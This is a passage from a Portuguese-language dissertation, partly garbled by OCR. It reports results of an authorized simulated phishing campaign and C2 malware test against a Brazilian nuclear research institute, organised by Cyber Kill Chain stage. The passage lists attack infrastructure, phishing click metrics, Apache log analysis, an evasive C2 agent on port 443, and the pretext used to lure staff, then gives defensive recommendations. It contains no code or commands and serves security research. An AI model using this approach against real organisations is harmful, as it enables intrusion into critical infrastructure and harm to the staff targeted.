dos individuos antes de incluir seus e-mails em uma lista.

e Monitoramento e deteccdo: Implementar sistemas de monitoramento e
deteccao de atividades suspeitas nos sistemas que armazenam as listas de e-
mails.

e Criptografia: Utilizar a criptografia para proteger os dados sensiveis, incluindo
as listas de e-mails.

e Acesso restrito: Limitar o acesso as listas de e-mails apenas a pessoas
autorizadas.

e Protecdo de senha: Utilizar senhas fortes e complexas para proteger 0s
sistemas e bancos de dados que armazenam as listas de e-mails.

e Atualizagdes de segurancga: Manter os sistemas e softwares atualizados com

as ultimas correcdes de seguranca.

Além disso, é fundamental ter conhecimento acerca dos procedimentos para
solicitar a remoc¢ao de conteudos indexados em sites de pesquisa e outras bases de
dados, caso seja necessario, de acordo com a Lei Geral de Protecdo de Dados
(LGPD, 2018). Cabe ressaltar que esses procedimentos podem variar entre 0s
detentores de base de dados, sendo necessério que o titular dessas informacgdes faca

a solicitacao diretamente a empresa responsavel.

4.2 Resultados da etapa de Armamento

A etapa de armamento consistia em construir a maioria dos artefatos que

apoiaram a estratégia do ataque cibernético simulado, iniciando pelo ataque de
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phishing, para entdo seguir para outros ataques e técnicas de invasao. O ataque de

phishing é frequentemente utilizado como uma entrada inicial para comprometer a

seguranca de sistemas e redes (MITRE,2020). Ap6s o sucesso do ataque de phishing,

0s atacantes irdo realizar outras a¢des criminosas para atingirem seus objetivos.

Durante essa fase, foram desenvolvidas e preparadas, para esse trabalho de

pesquisa, as ferramentas e 0S recursos necessarios para simular um ataque

cibernético seguindo o modelo Cyber Kill Chain, de acordo com a Tabela 10.

Tabela 10: Quantidade de recursos na fase armamento

Recursos/armamentos utilizados Quantidade

Enderecos de e-mails criados e utilizados 08
E-mails elaborados contendo estratégias de phishing 02
Criacdo de dominios “.com” e “.com.br” 03
Instalag&o de servidores virtuais na nuvem AWS e GCP 04
Criacéo de portfolio ilustrativo em ™. pdf” 01
Criacdo do formulario de inscricdo em treinamento MS Forms 01
Criacdo do tutorial de Instalacdo de programa (malware) 01
Provedor para hospedar o site <www.educanuclear.com> 01
Desenvolvimento do site Educanuclear com trés paginas 01
Configuragédo do Webmail Titan para enviar e-mails 04
Utilizacdo de ferramentas: Shodan e nmap 02
Criacdo de um diretério /***/index .html para registro de logs 01
Instalacdo do servidor web apache para compartilhar e entregar 01
os artefatos (agentes C2)

Implementagdo do servidor C2 em uma instancia Linux 01
hospedada no Google Cloud Platform

Compilacéo de agentes do C2 em arquivos ".exe” e ".bin” 01
Sistema Operacional Kali Linux 01

A etapa de Armamento teve como resultado a sele¢do cuidadosa das

ferramentas adequadas e dos artefatos necessarios para apoiar a estratégia das

outras fases do ataque simulado que foi realizado neste trabalho. Essa etapa foi de
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extrema importancia para criar um ambiente realista capaz de confundir os usuarios e
testar efetivamente as capacidades de defesa tanto do fator humano quanto dos

recursos tecnoldgicos.

E importante lembrar que o objetivo do ataque simulado n&o é apenas testar a
capacidade de defesa do fator humano e tecnologico, mas também aprender com o0s
resultados e implementar melhorias para fortalecer a postura de seguranca da
organizacdo (MITRE, 2020).

4.3 Resultados da etapa de Entrega

Na metodologia desta dissertacéo, essa etapa foi subdividida em duas entregas
distintas. Primeiramente, houve a entrega do e-mail de phishing e, posteriormente, o
resultado da entrega do software malicioso, conhecido como agente do C2 (Command
and Control). Essas entregas representam resultados diferentes, pois a entrega do
malware simulado foi realizada em um ambiente controlado, com o propésito de
avaliar sua efetividade, e ndo para verificar quantas pessoas estariam suscetiveis a
esse tipo de ataque.

No contexto de testes de phishing autorizados, foi realizado um estudo com o
objetivo de avaliar a eficacia de uma campanha de phishing simulada. Nesse estudo,
foram coletados os e-mails por meio de técnicas de OSINT durante a fase de
reconhecimento. O teste consistiu no envio de e-mails para uma lista especifica de
destinatarios, conforme (Tabela 11), com o intuito de avaliar o comportamento dos
usuarios em relacdo a abertura dos e-mails, cliques em links e interacbes
subsequentes. Os e-mails enviados direcionam 0s usuarios para um site especifico,

cujos acessos foram registrados por meio do log do servidor web apache.

Tabela 11 — Métricas obtidas no teste de phishing

Métrica Valor
E-mails enviados 159
E-mails entregues 92
E-mails rejeitados 67
E-mails abertos e com clique 17
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Ao analisar os resultados do teste de phishing (ataque simulado), observou-se
que do total de 159 e-mails enviados, 92 foram entregues com sucesso, 67 foram
rejeitados, retornando as respectivas caixas e 17 foram abertos e tiveram o link do e-
mail clicado pelos destinatérios. Desses valores, podemos obter outras porcentagens
importantes sobre esse estudo.

E importante destacar que a porcentagem de entrega dos e-mails durante o
teste de phishing realizado nesta dissertacéo poderia ter sido potencialmente maior,
caso fosse aplicado por meio de uma lista de enderec¢os de e-mails validos fornecidos
diretamente pela instituicAo alvo. Assim, a maioria dos e-mails enviados
provavelmente teria sido considerada valida e entregue aos destinatarios, uma vez
que os endereg¢os seriam provenientes da propria organizacao.

No entanto, € fundamental destacar que o objetivo deste trabalho foi simular
um ataque real efetuado por um hacker externo, com o intuito de avaliar a seguranca
e a capacidade de defesa da organizacdo alvo em relacdo ao fator humano e aos
recursos tecnoldgicos empregados. Dessa forma, a estratégia adotada foi enviar os
e-mails para uma lista de enderecos de e-mails obtidos através de pesquisas em
fontes abertas, representando, assim, um cenario o mais préximo de um ataque real.

O foco principal desse teste de phishing autorizado foi avaliar a preparacéo e a
resposta da organizacao, baseando-se em pessoas e tecnologias, em relacdo a esse
tipo de ataque. Isso incluiu analisar a conscientizagdo dos usuarios em relacdo as
praticas seguras de e-mail, a eficacia dos filtros e os mecanismos de deteccdo de
ameacas, bem como a resposta e mitigacdo adequadas diante de tentativas de
phishing.

Portanto, o objetivo deste trabalho foi justamente simular um ataque real na
perspectiva de um atacante externo, mesmo sabendo que a porcentagem de entrega
dos e-mails poderia ter sido maior se utilizadssemos uma lista de enderecos validos
fornecidos pela instituicdo-alvo. O foco estava na avaliagdo da seguranca e da
capacidade de defesa da organizacdo-alvo, desde a sua preparagao até a concepcao,
com o intuito de identificar possiveis vulnerabilidades e fornecer recomendacdes para

o fortalecimento da seguranca cibernética.
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Porcentagem de entrega

A porcentagem de entrega pode ser calculada como a proporcao de e-mails
entregues em relagdo ao total de e-mails enviados. A porcentagem de entrega € uma
métrica importante em testes de phishing que indica a proporcéo de e-mails enviados

gue sao efetivamente entregues aos destinatarios.

Percentual de entrega =

N¢ de emails entregues
* 100

Total de emails enviados
Nesse caso, o resultado da porcentagem de entrega foi 92/159 = 0.5786 ou 57.86%.
Porcentagem de Sucesso (ou percentual de cliques)
A porcentagem de cliques é calculada dividindo o nimero de usuarios que
clicaram em um link no e-mail pelo total de e-mails entregues. Ela mede a

porcentagem de usuarios que interagiram com o contetdo do e-mail, clicando em um

link especifico.

Porcentagem de cliques =

N? de emails de cliques
< )* 100

Total de emails entregues

A porcentagem de sucesso do teste de phishing foi calculada em relacéo aos
e-mails entregues. Considerando o nimero de e-mails abertos e com clique (17) e 0
total de e-mails entregues (92), a porcentagem de sucesso foi de

aproximadamente 18,48%.
Porcentagem de rejeicao

A porcentagem de rejeicdo € calculada dividindo o nimero de e-mails que
foram devolvidos (rejeitados) pelo total de e-mails enviados. Isso pode ocorrer quando
o servidor de destino ndo consegue entregar o e-mail devido a problemas técnicos,

como um endereco de e-mail invalido ou uma caixa de correio cheia.
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N2 de emails rejeitados
Porcentagem de rejeicao = * 100%
Total de emails enviados

A porcentagem de rejeicdo pode ser calculada como a proporcao de e-mails
rejeitados em relacdo ao total de e-mails enviados. Nesse caso, o0 resultado da
porcentagem de rejeicao foi 67/159 = 0.4214 ou 42.14%.

Porcentagem de abertura sem clique

Devido a alta porcentagem de rejeicao durante o teste de phishing autorizado,
ou seja, 0 grande numero de e-mails que retornaram para as caixas de envio, é
importante destacar que a quantificacdo precisa dessa porcentagem nao foi
possivel avaliar. Isso ocorre porque o provedor de e-mail interpretou os e-mails
enviados como possiveis mensagens de spam e deixando de registrar no cliente de
e-mail as informacdes sobre essas entregas e aberturas.

E importante ressaltar que a limitacdo mencionada anteriormente esta
relacionada a verificacdo dos e-mails abertos e ndo clicados, e nao reflete
necessariamente a eficacia do ataque de phishing em si. A métrica dos cliques, por
sua vez, foi registrada por meio do servidor web independente do servico de e-mail,
utilizando logs de acesso a uma péagina de URL especifica disponivel apenas pelos
links dos e-mails enviados. Por outro lado, a métrica para validacdo de abertura era
registrada pelos clientes de e-mail e em determinado momento parou de funcionar.

Essa seria uma porcentagem interessante, pois poderia evidenciar a
guantidade de pessoas que abriram o e-mail, mas néo clicaram no link. Porém, como
0 escopo da pesquisa refere-se a possibilidade de um atacante ingressar em uma
estrutura tecnoldgica através do envio de e-mail phishing, o que mais interessava

eram os cliques nos links.
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Outras informacdes

Durante a fase de entrega dos e-mails, houve uma pessoa que respondeu ao
e-mail recebido e outra que preencheu o formulério de inscricdo disponivel no site
para o qual o link direcionava. Essas interacdes demonstram a existéncia de usuarios
suscetiveis a ataques de phishing e a importancia de conscientizar e educar os

usuarios sobre os riscos associados a e-mails maliciosos.

Representacado dos resultados desta etapa

Apés realizar os célculos, foram gerados um grafico e uma tabela
representativa que retratam os percentuais de entrega, rejeicdo e abertura dos e-
mails. Esses dados fornecem uma visualizacdo clara e objetiva das proporcdes de
cada categoria, permitindo uma analise mais detalhada dos resultados obtidos,

conforme representado na Tabela 12.

Tabela 12 - Resultado do teste de acordo com a entrega durante um periodo

Dial Dia 2 Dia 3
(06 jun 2023) | (07 jun 2023) | (08 jun 2023)
E-mails entregues 159 0 0
E-mails rejeitados 67 0 0
E-mails abertos e com 12 5 0
clique no link

Apds a minuciosa analise dos logs de acesso e os dados documentados na Tabela
12, foi observado que, do terceiro dia até o oitavo dia apds o inicio do teste de phishing,
nao foram mais evidenciados quaisquer registros de acesso originados da instituicao
alvo testada

A Figura 36 refere-se a distribuicéo dos resultados do teste de phishing. O eixo
vertical representa a quantidade de e-mails, enquanto o eixo horizontal indica as
categorias correspondentes. Essa representacao proporciona uma visualizagdo mais
clara e comparativa das diferentes porcentagens de entrega, rejeicao e abertura dos

e-mails (clicados), permitindo uma analise mais precisa dos resultados obtidos
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Resultados da Entrega de E-mails
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Figura 36: Resultado da Entrega de E-mails
Fonte: O autor (2023)

Modelo das informacdes registradas no log do servidos apache

De acordo com a RFC 2616, o log de conexéao do servidor web apache registra
informacdes importantes sobre as interagbes entre o servidor e os clientes que
acessam um site. Ele inclui o endereco IP do cliente, data e hora da solicitagéo,
método HTTP (como GET ou POST), URL solicitada, codigo de status da resposta,
tamanho da resposta e agente do usuario. Essas informacdes séo Uteis para analise
de trafego, diagndstico de problemas, seguranca e desempenho do site. O log de
conexao é uma ferramenta fundamental para o monitoramento e andlise do trafego do
site hospedado no servidor Apache.

Os campos de logs do apache séo dispostos linha a linha no arquivo access.log
do servidor e sao registrados em tempo real, a medida que cada conexao for sendo
estabelecida, ou seja, a cada click no link informado no corpo do e-mail, esse arquivo

é acrescido de linha. Os campos compreendem as informagdes contidas no Quadro 2:
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200,20 Fx*x xkx - -
200 43462
(KHTML,

"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

like Gecko) Chrome/113.0.0.0 Safari/537.36" www.educanuclear.com

[06/Jun/2023:12:45:10 -0300] "GET /nie/index.html HTTP/2.0"

Quadro 2: Registro de uma conexao no servidor web

Para entender melhor os resultados desta etapa, € de suma importancia como

funcionam os logs. Os campos apresentados sdo comumente localizados a cada linha

criada no log do servidor apache. Esses campos podem variar dependendo da

configuracdo do servidor e das opcdes de registro selecionadas, conforme descritos

na Tabela 13.

Tabela 13: Identificagdo dos campos do log do Apache

Campo

Informacgéo contida

Explicacéo

10

Endereco IP da origem

Neste exemplo, o endereco IP do cliente é
"200.20.*** *8". E 0 endereco IP da maquina que

fez a solicitacdo ao servidor.

20

Identificacdo do Cliente

O campo de identificacdo do cliente (geralmente
indicado por "-") € usado para autenticacao de
identidade do cliente, mas pode estar vazio ou hao

ser utilizado.

30

Nome de usuario

O campo de nome de usuario (geralmente
indicado por "-") € usado para autenticacdo do

usuario, mas pode estar vazio ou ndo ser utilizado.

40

Data e Hora

A data e a hora em que a solicitacdo foi feita sdo
exibidas entre colchetes. Neste exemplo, a data e
hora s&o [06/Jun/2023:12:45:10 -0300]

50

Método HTTP

O método HTTP usado na solicitagdo € exibido
entre aspas duplas. Neste exemplo, 0 método é
"GET", indicando que foi uma solicitacdo de

obtencéo de dados.

60

URL Solicitada

A URL solicitada pelo cliente é exibida apoés o
método HTTP. Neste exemplo, a URL solicitada

***[index.html
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70

Versdo do HTTP

A versédo do protocolo HTTP usada na solicitacao
€ exibida apés a URL. Neste exemplo, a verséo é
"HTTP/2.0".

8°)

Cddigo de Status HTTP

O cdbdigo de status HTTP retornado pelo servidor
€ exibido ap6s a versao HTTP. Neste exemplo, o
coédigo de status € "200", indicando que a

solicitacao foi bem-sucedida.

90

Tamanho da Resposta

O tamanho da resposta enviada pelo servidor é
exibido apos o cédigo de status. Neste exemplo, o

tamanho da resposta é "43462" bytes.

10°

Referer

O campo "Referer" exibe a pagina de origem que
levou o cliente a fazer a solicitacdo atual. Neste
exemplo, o campo esta preenchido com "-"

indicando que a informacao néo esté disponivel.

11°

User-Agent

O campo "User-Agent" (ou agente do usuario)
exibe informacdes sobre o navegador ou o agente
de usuério utilizado pelo cliente para fazer a
solicitacdo. Neste exemplo, é exibido o User-

Agent do navegador Chrome.




O Quadro 3 representa um trecho da captura extraida do log durante um periodo.
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HTTP/1.1" 200 43462 "-" "Mozilla/5.0 (Windows NT 10.0; Wino64; x64)

www.educanuclear.com 69.49.241.24

HTTP/2.0" 200 43462 "-" "Mozilla/5.0 (Windows NT 10.0; Wino64; x64)

www.educanuclear.com 69.49.241.24

HTTP/2.0" 200 43462 n-n "Mozilla/5.0 (Linux; Android 10; K)

Safari/537.36" www.educanuclear.com 69.49.241.24

HTTP/2.0"™ 200 43462 "-" "Mozilla/5.0 (X11l; Ubuntu; Linux x86 64; rv:109.0)
Gecko/20100101 Firefox/113.0" www.educanuclear.com 69.49.241.24

200 68 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible;

Safari/537.36" www.educanuclear.com 69.49.241.24

"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

69.49.241.24

(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/114.0.0.0 Safari/537.36" www.educanuclear.com 69.49.241.24

179.190.108.7 - - [06/Jun/2023:12:50:19 -0300] "GET /nie/index.html

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"

200.20.x** ;x*x - - [06/Jun/2023:13:52:54 -0300] "GET /nie/index.html

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"

177.26.82.137 - - [06/Jun/2023:13:54:31 -0300] "GET /nie/index.html

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile

200.20.x** **x - - [06/Jun/2023:14:09:24 -0300] "GET /nie/index.html

40.77.167.108 - - [06/Jun/2023:16:00:01 -0300] "GET /robots.txt HTTP/2.0"

bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134

187.67.203.44 - - [06/Jun/2023:20:36:35 -0300] "GET / HTTP/2.0" 200 43462

like Gecko) Chrome/114.0.0.0 Safari/537.36" www.educanuclear.com

187.67.203.44 - - [06/Jun/2023:20:37:22 -0300] "GET /portfolio.pdf
HTTP/2.0" 200 3342221 "https://www.educanuclear.com/" "Mozilla/5.0

Quadro 3 — Captura dos logs de acesso
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Com base no Quadro 3, foram extraidas informacfes que possibilitaram obter os

resultados apresentados:

No registro de acessos acima, temos que na 12 223 32 e 42 |linha foram
realizados acessos de origens distintas (IPs de origem) 179.190.108.7, 200.20.*** ***
177.26.82.37 e 200.20.*** *** novamente. Foi verificado que existem enderecos IPs
repetidos ao longo do arquivo de Logs. Porém isso néo significa tratar-se do mesmo
acesso, isto €, do mesmo usuério final. Analisando cuidadosamente cada linha, campo
a campo, e comparando-as com as demais, podemos perceber algumas diferencas
importantes relacionadas ao IP 200.20.%** ***,

O primeiro acesso listado na captura ocorreu em [06/Jun/2023:13:52:54 -
0300], ja o segundo acesso desse mesmo endereco ocorreu em
[06/Jun/2023:14:09:24 -0300].

Continuando a andlise dos registros, ainda correlacionando esses dois
acessos, da 22 e 42 linha, é possivel observar que um acesso foi proveniente de um
User-Agent utilizando um SO (Windows NT 10.0; Win64; x64) € Outro acesso
teve origem através de um SO (X11; Ubuntu; Linux x86 64; rv:109.0),

onde o X11 representa um sistema operacional Linux com interface grafica.

Encerrando a analise desses dois registros de acesso, € possivel identificar
gue um esta utilizando o navegador Chrome e o outro o navegador Firefox. Resta a
seguinte pergunta: Caso os dois acessos fossem em horérios distintos, porém os logs
apontassem para o mesmo endereco IP de origem, 0 mesmo sistema operacional e 0
mesmo navegador, podeiamos afirmar que se trata de um acesso originado pelo

mesmo endpoint? Resposta: Nao.

Em continuidade ao trecho de log, na 32 linha identifica-se o IP de origem
177.26.82.137 e o0 User-Agent possui a informacao referente a um sistema

operacional Android 10, indicando referir-se a um dispositivo mével.
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Na 52 linha nota-se uma diferenca na composicédo do acesso e do User-Agent.
40.77.167.108 - - [06/Jun/2023:16:00:01 -0300] "GET /robots.txt HTTP/2.0" 200
68 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible;
bingbot/2.0; +http://www.bing.com/bingbot.htm)

O "Bingbot/2.0" é um User-Agent utilizado pelo Bingbot, um crawler web do
mecanismo de busca Bing, da Microsoft. O Bingbot é responséavel por rastrear e
indexar paginas da web para inclusdo nos resultados de pesquisa do Bing.

De acordo com (Bing Webmaster Guidelines), quando o Bingbot visita um site,
ele envia o0 User-Agent "Bingbot/2.0" como parte do cabecalho HTTP para identificar-
se como um agente do Bingbot. Essa informacé&o permite que os proprietarios de sites
acompanhem a atividade do Bingbot em seus registros de servidor e ajuda a distinguir
as solicitacdes feitas pelo bot de outras solicitacdes de usuarios reais.

A presenca do User-Agent "Bingbot/2.0" em registros de servidor pode indicar
que o Bingbot esta visitando e rastreando o contetido de um site. E importante que os
proprietarios de sites estejam cientes das visitas do Bingbot para garantir que suas
paginas sejam adequadamente rastreadas e indexadas pelo Bing, o que pode ajudar
a melhorar a visibilidade e a classificacdo nos resultados de pesquisa do Bing.

Os arquivos de logs sdo de suma importancia para ajudar a identificar
evidéncias de atacantes, das ferramentas utilizadas, principalmente informacdes de
horérios/datas de quando ocorreram os ataques e as tentativas. Essas informacdes
sdo Uteis e podem servir de parametros para aumentar a seguranca cibernética de

alguns servidores.

Com base nos resultados obtidos, pode-se concluir que a campanha de
phishing simulada obteve uma porcentagem de sucesso moderada.
Esses resultados fornecem insights valiosos para o aprimoramento de estratégias de
seguranca cibernética e podem servir como base para a implementacdo de
treinamentos e politicas de conscientizacdo para 0s usuarios, com o objetivo de
reduzir a vulnerabilidade organizacional a ataques de phishing.

E importante ressaltar que os testes de phishing realizados devem ser
autorizados e conduzidos dentro de um ambiente controlado, com o objetivo de
melhorar a segurancga e promover a conscientizagdo, sem causar danos ou violar a

privacidade dos usuarios.
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4.4 Resultados da etapa de Exploracéo

A etapa de exploragdo do ataque simulado teve como resultado mais
significativo a realizagdo de um exercicio simulado, no qual exploramos uma estacao
Linux conectada a internet (representando a rede de Tecnologia da Informacao). Por
meio dessa estacao, conseguimos explorar o ambiente de um servidor que atua como
simulador, ambiente de TO, e teoricamente ndo possui acesso a internet. Esse tipo
de progressdo do ataque, conhecido como movimentagéo lateral, foi observado,
conforme descrito anteriormente. Essas técnicas podem aproveitar dispositivos e
sistemas dual-homed que residem nas redes de Tl e TO (MITRE ATT&CK, 2023).

Essa etapa proporcionou insights valiosos sobre as vulnerabilidades presentes
no ambiente simulado e destacou a importancia de implementar medidas de
seguranca eficazes para prevenir a movimentacao lateral e proteger a rede contra os
ataques desse tipo.

Conforme mencionado por Branquinho (2021), o sucesso ou fracasso desse
tipo de ataque esta diretamente relacionado as solu¢des de seguranca implementadas
no ambiente, especialmente a ado¢do de uma abordagem de defesa em camadas.
Nesses casos, fica evidente a necessidade de implementar um firewall adicional entre
a rede de Tl e a rede de automacédo, além do uso de solu¢cbes complementares de
seguranca especificas para a planta industrial (BRANQUINHO, 2021).

A implementacao de um firewall adicional entre as redes de Tl e de automacéo
€ uma medida eficaz para impedir a movimentacao lateral e restringir 0 acesso nao
autorizado aos sistemas criticos da planta industrial (MITRE). Essa camada adicional
de seguranca contribui para a protecao dos ativos industriais e a mitigacao dos riscos
relacionados aos ataques cibernéticos.

4.5 Resultados da etapa de Instalagcéao

Essa etapa de Instalacdo, em casos praticos ocorre logo apos a fase de
Entrega, pois nesse caso, ha um contexto prévio envolvendo o atague que encoraja
0S usuarios executarem o malware achando tratar-se de um software legitimo.

Apés a instalacdo do malware, caracterizado nesse estudo como um agente do
C2 multiplataforma, desenvolvido para Windows e para Linux, o invasor realizara

outras acoes.
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Como resultado desta etapa, podemos inferir que a instalacdo/execucao
simulada do malware ocorreu em ambiente controlado com resultados satisfatorios
com relacdo as acdes ofensivas.

Foi observado que a execucgéo do agente, tanto no Windows quanto no Linux,
guando disponibilizado fisicamente através de uma midia UBS, ocorria sem alertar os
controles protetivos das estacdes de trabalho.

J& a tentativa de execugao a partir do envio do arquivo “agente.exe” por e-mail
foram bloqueados pelos controles de compartilhamento de arquivos suspeitos. Cabe
ressaltar que foi realizada uma pesquisa exploratoria prévia para verificar quais portas
estavam abertas no firewall da instituicdo alvo, sendo verificadas apenas a portas 443
e 541 abertas.

Em continuidade, o servidor C2 foi configurado para escutar na porta 443,
dificultando ainda mais a deteccao e blogqueio por parte de algum firewall.

Para mitigacao desse tipo de ameacas, pode ser utilizado a implementacao de
controles do tipo DPI (Deep Packet Inspection), ou seja, inspecao profunda de pacotes
que consiste em uma medida importante para fortalecer a seguranca cibernética de
uma organizacdo (FORTINET, 2023). Segundo a empresa Fortinet (2023), esse
recurso envolve a analise minuciosa dos pacotes de dados que transitam em uma
rede, permitindo uma visdo mais detalhada do trafego de rede e identificacdo de
potenciais ameacas.

E importante ressaltar que a organizacdo nio esta desprotegida; no entanto, o
tipo de Comando e Controle utilizado possui a caracteristica de evasao de defesas, o
gue torna crucial que a equipe de seguranca humana seja capaz de interromper esses
ataques sofisticados desde o inicio. A atuacdo dos profissionais de seguranca
desempenha um papel fundamental na deteccéo precoce e no combate efetivo a

essas ameacas evasivas.

4.6 Resultados da etapa de Comando e Controle

Essa etapa de comando e controle atingiu o objetivo desejado para este
trabalho. Conforme descrito em Varonis (2021), a maioria das organizagboes tem
defesa de perimetro eficaz, tornando dificil um atacante iniciar uma conexado da
internet para a rede interna sem ser detectado. No entanto, essa dissertagéo utilizou

a metodologia sob a hipdtese de ingressar dentro da rede interna utilizando um
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contexto de que havia uma parceria para treinamento em seguranca cibernética para
instalagcdes nucleares com o instituto alvo. Sendo o tema de grande relevancia,
certamente haveria alguém interessado. Com esses recursos montados, bastava
solicitar aos que se mostraram interessados em realizar o treinamento em uma
ocasido anterior para que realizassem a instalacao de um software que seria utilizado
para emulacdo do treinamento. Com a instalacdo do software, esse objetivo dessa
etapa foi concluido.

Uma vez que as conexdes de saida ndo sdo fortemente monitoradas na maioria
das instituicfes, apds simular a introducao do malware por meio de um canal diferente,
um phishing ou uma midia USB, torna-se possivel estabelecer uma conexao de saida
para o C2 através de portas conhecidas.

Identificar o trafego de Comando e Controle (C2) pode ser uma tarefa
notoriamente desafiadora, uma vez que os invasores se esforcam ao maximo para
evitar deteccdo (MITRE, 2018). No entanto, os defensores tém uma oportunidade
significativa, pois a interrupcédo do C2 pode impedir que uma infec¢cdo por malware
evolua para um incidente mais grave, como uma violagao de dados (VARONIS, 2021).

De fato, muitos ataques cibernéticos em larga escala foram inicialmente
descobertos quando pesquisadores observaram atividades suspeitas de C2. Para
detectar e interromper o trafego de Comando e Controle temos algumas acoes:

e Monitorar e filtrar o trafego de saida.

e Correlacionar dados de varias fontes.

e Beacons podem ser um sinal revelador de atividade de comando e controle em
sua rede.

e Coletar arquivos de log o maior numero possivel de fontes é vital ao procurar

sinais de trafego de comando e controle.

4.7 Resultados da etapa de A¢des no Objetivo

A fase de Acdes no Objetivo foi executada com sucesso, de acordo com o
planejado na metodologia. Foram conduzidos testes de exfiltracdo de arquivos, 0s
quais poderiam conter dados sensiveis da organizag&o. E importante destacar que,
em um ataque real, o invasor tende a permanecer por um longo periodo explorando o

alvo até alcancar todos os seus objetivos (KLINCZAK, 2019). A persisténcia e a
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determinacao do atacante sdo caracteristicas fundamentais em um cenario de ataque
real, o que reforca a necessidade de medidas de seguranca robustas e uma resposta
agil por parte da equipe de defesa cibernética (RFC 2350, 1998).

Durante o ataque simulado e a execucéo das agdes no objetivo, foram obtidos
valiosos insights sobre a postura de seguranca da organizacdo, identificando
eventuais vulnerabilidades e pontos de melhoria. Essas informacbes séo
fundamentais para fortalecer as defesas da organizagdo, implementar medidas
corretivas e adotar boas praticas de seguranca cibernética (ABNT 27001).

Com base nos resultados e nas licdes aprendidas, de acordo com NIST
Cybersecurity Framework € possivel aprimorar os protocolos de seguranca,
treinamentos e politicas internas, visando fortalecer a seguranga organizacional diante

de potenciais ataques reais.

4.8 Recomendac®fes para melhoria seguranca cibernética no setor nuclear

e Realizacdo de programas de conscientizacdo e treinamento continuo para o0s
colaboradores com a finalidade de aprimorar a identificagdo de ataques de phishing
e outras técnicas de engenharia social.

e Aprimorar as tecnologias de detecg¢édo e monitoramento para identificar atividades
maliciosas em estagios iniciais. Solu¢cbes como detec¢cdo de comportamento
andémalo e inteligéncia artificial ajudam a detectar e responder a ataques de forma
mais eficiente.

¢ Implementacdo de politicas de seguranca mais robustas, que incluem praticas
recomendadas de protecdo de dados pautadas em normas técnicas e legislacées
vigentes ajudam a reduzir o impacto de um ataque cibernético bem-sucedido.

e Colaboracédo entre instituicbes do setor nuclear para compartilhar informacfes

sobre ameacas cibernéticas e melhores praticas de seguranca.
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5. CONCLUSAO

A presente dissertagdo teve como objetivo realizar um estudo de caso
utilizando um ataque de phishing simulado em um instituto de pesquisa do setor
nuclear brasileiro. O modelo Cyber Kill Chain foi aplicado para explorar as etapas de
um ataque cibernético e avaliar o impacto causado. O estudo evidenciou a hipotese
do comprometimento da seguranca cibernética da instituicdo alvo através do acesso
inicial proveniente do envio de e-mails de phishing para funcionarios de um instituto
de pesquisa.

O ataque simulado de phishing foi realizado em um contexto real,
contemplando as etapas de reconhecimento, armamento, entrega, exploracao,
instalacdo, comando e controle, e acdes no objetivo. Através do estudo de caso
empregado, validou-se a hipotese de que seria possivel realizar o acesso nao
autorizado a infraestrutura de Tecnologia da Informacdo (TIl) e/ou Tecnologia
Operacional (TO) utilizando técnicas de engenharia social, iniciando o ataque pelo
envio de e-mail phishing.

A etapa de reconhecimento evidenciou valiosas informacdes sobre a
organizacdo alvo e seus colaboradores, incluindo a coleta dessas informacfes
utilizando inteligéncia de fontes abertas. O ataque cibernético simulado foi aprimorado
na etapa de armamento, em que foram criados artefatos convincentes e persuasivos.
Ja na fase de entrega, o envio de e-mails phishing foi bem-sucedido para boa parte
dos e-mails coletados. Essa etapa teve o proposito de subsidiar a exploracdo de
vulnerabilidades humanas e tecnoldgicas, sendo realizada com a autorizacdo da
direcéo e do setor de tecnologia de informacao da organizagéao.

A fase de exploracao revelou a falta de conscientizagdo por parte de alguns
funcionérios, levando-os a fornecerem informacdes sensiveis ou clicarem em links nédo
confiaveis. Entre as informacgdes sensiveis destacam-se as informacdes pessoais, tais
como nome completo, numero de identidade ou CPF, e endereco residencial. Aléem
disso, as informacgdes relacionadas aos aspectos tecnoldgicos, incluindo o endereco
IP de origem, o tipo e a versao do sistema operacional utilizado, o tipo e a versdo do
navegador, bem como o horario em que o0 acesso foi realizado. Esses dados nao
apenas identificaram o usuario, como também permitiram diferenciar se o acesso foi

realizado por um computador ou dispositivo movel, e se originou do ambiente de
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trabalho ou da residéncia. Essas informacdes forneceram insights valiosos para
aprimorar as demais fases do ataque cibernético simulado.

Apos a exploracao, realizou-se um experimento em um ambiente controlado
para testar a viabilidade de execugédo de um malware com a capacidade de efetuar o
acesso nao autorizado aos sistemas da instituicdo de maneira furtiva e evasiva. Isso
visou simular a consequéncia efetiva de usuarios vitimas de phishing que clicam em
links ou arquivos maliciosos. O agente mostrou-se indetectavel por solucdes de
antivirus e seguranca de rede, viabilizando a fase de comando e controle. Durante a
fase de acdes no objetivo, ilustrou-se os riscos resultantes da falta de conscientizacéo
e treinamento em seguranca cibernética, como: exfiltracdo de dados e ataques a
sistemas legados sujeitos a vulnerabilidades.

Esse tipo de ataque representa grave ameaca a seguranca nacional em
ambientes criticos, como o setor nuclear. Isso ocorre devido ao fato de que é comum,
em setores como o nuclear, o uso de sistemas legados. E importante destacar que os
resultados deste estudo podem ter limitacbes na generalizagdo para outras
instituicdes do setor nuclear brasileiro ou contextos industriais diferentes, devido as
peculiaridades de cada organizacdo. O ambiente simulado e controlado utilizado,
fundamentais para o carater nao-destrutivo deste trabalho, também limita a
extrapolacdo direta dos resultados para situacdes reais e devem ser considerados
com a devida cautela.

O nivel de conhecimento dos funcionarios sobre ameacas cibernéticas pode
influenciar o sucesso do ataque de phishing, variando em casos com funcionarios
mais ou menos treinados. Além disso, o0 modelo adotado, o Cyber Kill Chain, pode ter
suas proprias limitacdes, e outras questdes técnicas especificas podem ter impactado
os resultados do estudo.

Apods a conclusao desse estudo de caso e dos resultados obtidos, retomamos
aos objetivos especificos, em que foram descritos os principais incidentes cibernéticos
e ameacas as infraestruturas criticas a que as instituicdes estao sujeitas, bem como
a realizacdo combinada de técnicas de engenharia social com técnicas de seguranca
